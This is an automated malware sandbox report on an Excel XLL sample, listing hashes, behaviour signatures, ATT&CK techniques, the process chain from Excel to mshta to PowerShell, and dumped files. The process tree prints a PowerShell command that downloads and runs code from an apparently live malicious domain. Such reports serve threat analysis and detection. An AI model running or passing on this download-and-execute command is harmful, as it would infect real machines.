a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4

General

Target

a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll
Size

12KB
MD5

ee6c79fd4247c2c265c16985c7459af4
SHA1

7899162e9bccb0e16739814da2ad2ebca46a58b9
SHA256

a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4
SHA512

7d31f5e89e4a3bf9f51f7211f78d0ce07463a68bfc99276be4b99c17ed794726648c2012786fed9900ebc59bad042de8b31fe96645cf143cdaebef6ae84e9fb5
SSDEEP

192:pL29RBzDzeobchBj8JONLON3qbruIrEPEjr7Ah83:J29jnbcvYJOEdq3uIvr7C0

Score

10^/10

execution

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4836	3884	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 5088 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation mshta.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

3884 EXCEL.EXE
3884 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5088 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
33	5088	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
3884	EXCEL.EXE
3884	EXCEL.EXE

pid	process
5088	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3884 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

5088 powershell.exe
5088 powershell.exe
5088 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5088 powershell.exe
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE
3884 EXCEL.EXE

pid	process
3884	EXCEL.EXE

pid	process
5088	powershell.exe
5088	powershell.exe
5088	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5088	powershell.exe

pid	process
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE
3884	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 3884 wrote to memory of 4836	3884	EXCEL.EXE	mshta.exe
PID 3884 wrote to memory of 4836	3884	EXCEL.EXE	mshta.exe
PID 3884 wrote to memory of 4836	3884	EXCEL.EXE	mshta.exe
PID 4836 wrote to memory of 5088	4836	mshta.exe	powershell.exe
PID 4836 wrote to memory of 5088	4836	mshta.exe	powershell.exe
PID 4836 wrote to memory of 5088	4836	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4440,i,16710585221322798697,8586257254049248207,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:8
1⤵
PID:1164

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YOJF4VYG\d[1].htm
Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2u320kv.w1o.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4.xll
Filesize
12KB

MD5
ee6c79fd4247c2c265c16985c7459af4

SHA1
7899162e9bccb0e16739814da2ad2ebca46a58b9

SHA256
a6052d953f77d1f9412b08434720420e41114419658b267bbb050a0f21a5cec4

SHA512
7d31f5e89e4a3bf9f51f7211f78d0ce07463a68bfc99276be4b99c17ed794726648c2012786fed9900ebc59bad042de8b31fe96645cf143cdaebef6ae84e9fb5

Download Submit
memory/3884-8-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-10-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-7-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-86-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-5-0x00007FFDC15CD000-0x00007FFDC15CE000-memory.dmp

Filesize
4KB

Download
memory/3884-9-0x00007FFD7EEC0000-0x00007FFD7EED0000-memory.dmp

Filesize
64KB

Download
memory/3884-0-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-84-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-13-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-14-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-16-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-15-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-12-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-85-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-4-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-3-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-6-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/3884-1-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-11-0x00007FFD7EEC0000-0x00007FFD7EED0000-memory.dmp

Filesize
64KB

Download
memory/3884-83-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-82-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-2-0x00007FFD815B0000-0x00007FFD815C0000-memory.dmp

Filesize
64KB

Download
memory/3884-66-0x00007FFDC1530000-0x00007FFDC1725000-memory.dmp

Filesize
2.0MB

Download
memory/5088-56-0x0000000005E20000-0x0000000005E3E000-memory.dmp

Filesize
120KB

Download
memory/5088-57-0x0000000005E50000-0x0000000005E9C000-memory.dmp

Filesize
304KB

Download
memory/5088-58-0x00000000076A0000-0x0000000007D1A000-memory.dmp

Filesize
6.5MB

Download
memory/5088-59-0x0000000006320000-0x000000000633A000-memory.dmp

Filesize
104KB

Download
memory/5088-55-0x0000000005920000-0x0000000005C74000-memory.dmp

Filesize
3.3MB

Download
memory/5088-45-0x00000000057B0000-0x0000000005816000-memory.dmp

Filesize
408KB

Download
memory/5088-44-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/5088-43-0x0000000004F60000-0x0000000004F82000-memory.dmp

Filesize
136KB

Download
memory/5088-42-0x0000000004FA0000-0x00000000055C8000-memory.dmp

Filesize
6.2MB

Download
memory/5088-41-0x0000000004840000-0x0000000004876000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads